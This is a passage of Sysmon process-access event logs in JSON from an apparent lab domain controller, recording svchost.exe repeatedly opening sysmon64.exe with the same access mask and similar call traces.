C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1453,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1454,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1455,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1456,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1457,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1458,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1459,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1460,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 